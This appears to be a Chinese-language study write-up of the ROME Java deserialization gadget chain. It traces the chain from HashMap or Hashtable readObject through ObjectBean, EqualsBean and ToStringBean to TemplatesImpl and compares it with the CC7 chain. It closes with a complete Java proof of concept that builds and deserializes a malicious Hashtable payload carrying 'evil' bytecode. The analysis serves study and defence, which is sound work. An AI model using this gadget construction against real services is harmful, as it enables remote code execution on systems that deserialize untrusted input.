ROME链

静态分析

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。ROME链其实可以理解为fastjson的触发,就是调用任意的getter方法。

Gadget

HashMap#readObject -> ObjectBean#hashCode() -> ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()

 * TemplatesImpl.getOutputProperties()
 * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
 * NativeMethodAccessorImpl.invoke(Object, Object[])
 * DelegatingMethodAccessorImpl.invoke(Object, Object[])
 * Method.invoke(Object, Object...)
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

依赖

    <dependencies>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
    </dependencies>

加载到字节码的关键点是ToStringBean的toString方法。它通过反射来获取对象的属性并调用 getter 方法

通过 BeanIntrospector.getPropertyDescriptors(this._beanClass) 获取当前对象类的所有属性描述符。属性描述符(PropertyDescriptor)包含了 JavaBean 属性的信息,如属性名、读写方法(getter、setter 方法)等。

之后对这些getter、setter 方法进行遍历,pName 是属性的名字,pReadMethod 是属性的 getter 方法,即用于获取属性值的读取方法。这里我们获取TemplatesImpl的getOutputProperties,然后在后面invoke执行,加载到我们恶意字节码

private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

ToStringBean是有两个toString方法的,上面这个tostring是从另一个tostring调用过来的,我们需要控制this._obj是我们的TemplatesImpl

image-20240912105631343

继续往外跟,ObjectBean.toString(),我们跟进去看看,可以看到ObjectBean他一下实现了三个Bean,而触发了他的toSting方法,就会执行到ToStringBean的toSting方法

image-20240912105900936

那么如何执行到ToStringBean的toSting方法呢,这里是用到了EqualsBean的beanHashCode(),这里的this._obj就是ObjectBean

    public int beanHashCode() {
        return this._obj.toString().hashCode();
    }

那么再往前跟,会发现执行beanHashCode的地方,居然又回到了ObjectBean,在ObjectBean的hashCode方法,所以this._equalsBean应该是EqualsBean

public int hashCode() {
        return this._equalsBean.beanHashCode();
    }

那触发hashCode的地方就多了,这里我们可以用一个HashMap.put就行了

动态调试

触发hashcode

image-20240912110825288

触发EqualsBean.class的beanHashCode

image-20240912110847897

触发ObjectBean.class的toString()

image-20240912110944084

触发ToStringBean.class的toString()

image-20240912111037296

调用重载

image-20240912111135002

执行

image-20240912111344391

其他利用链

这个链子其实非常简单,所以会有很多排列组合,只需要反序列化入口能够触发hashcode()方法或者最终触发到ToStringBean方法的tostring就行

Hashtable1

Hashtable.readObject()
  Hashtable.reconstitutionPut()
  	AbstractMap.equals()
    EqualsBean.equals(TemplatesImpl)
      EqualsBean.beanEquals(TemplatesImpl)
        pReadMethod.invoke(_obj, NO_PARAMS)
        	TemplatesImpl.getOutputProperties()

前半段的利用和CC7的一样的,但是和前面分析的rome链好像思路区别很大,贴一下CC7的链子

Gadget chain:
    Hashtable.readObject
        Hashtable.reconstitutionPut
            AbstractMapDecorator.equals
                AbstractMap.equals
				LazyMap.get()
                    ChainedTransformer.transform()
                      ConstantTransformer.transform()
                      InvokerTransformer.transform()
                        Method.invoke()
                          Class.getMethod()
                      InvokerTransformer.transform()
                        Method.invoke()
                          Runtime.getRuntime()
                      InvokerTransformer.transform()
                        Method.invoke()
                          Runtime.exec()

EqualBean他的beanEquals方法,也触发了invoke,这执行点都不一样了哇

public boolean beanEquals(Object obj) {
        Object bean1 = this._obj;
        Object bean2 = obj;
        boolean eq;
        if (obj == null) {
            eq = false;
        } else if (bean1 == null && obj == null) {
            eq = true;
        } else if (bean1 != null && obj != null) {
            if (!this._beanClass.isInstance(obj)) {
                eq = false;
            } else {
                eq = true;

                try {
                    PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
                    if (pds != null) {
                        for(int i = 0; eq && i < pds.length; ++i) {
                            Method pReadMethod = pds[i].getReadMethod();
                            if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                                Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
                                Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
                                eq = this.doEquals(value1, value2);
                            }
                        }
                    }
                } catch (Exception var10) {
                    throw new RuntimeException("Could not execute equals()", var10);
                }
            }
        } else {
            eq = false;
        }

        return eq;
    }

然后这个类里面还有一个equals方法调用到了这个方法

public boolean equals(Object obj) {
    return this.beanEquals(obj);
}

接下来就是找哪里会调用到这个equals

这里其实就拼接上CC7的equals了

Hashtable.readObject()
  Hashtable.reconstitutionPut()
  	AbstractMap.equals()

尝试构造一个,要注意的是传入hashtable的map,这里每一个hashmap都要put两个元素进去,CC7都不用,这里我调试了一下分析发现,这里EqualsBean的beanEquals这里要执行到下面的反射,必须得满足obj != null

如果我们不给hashMap传两个值,那么就会导致AbstractMap的equals方法里,m.get拿不到值导致null

image-20240912154328177

注意到这里计算hashCode,是对Map中每一个元素计算后相加

image-20240912155039527

Hashtable2

reconstitutionPut()调用了hashcode,所以也可以直接在这里触发上面的rome链

HashTable#ReadObject() -> ObjectBean#hashCode() -> ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()

image-20240912161529449

package rome;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class rome3_HashTable {
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        Object o = objIn.readObject();
        return o;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get(evil.class.getName());
        byte[] code = clazzz.toBytecode();

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {code});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"123");

        byte[] obj = serialize(hashtable);
        deserialize(obj);
    }

}

还有很多,以后再总结吧

0%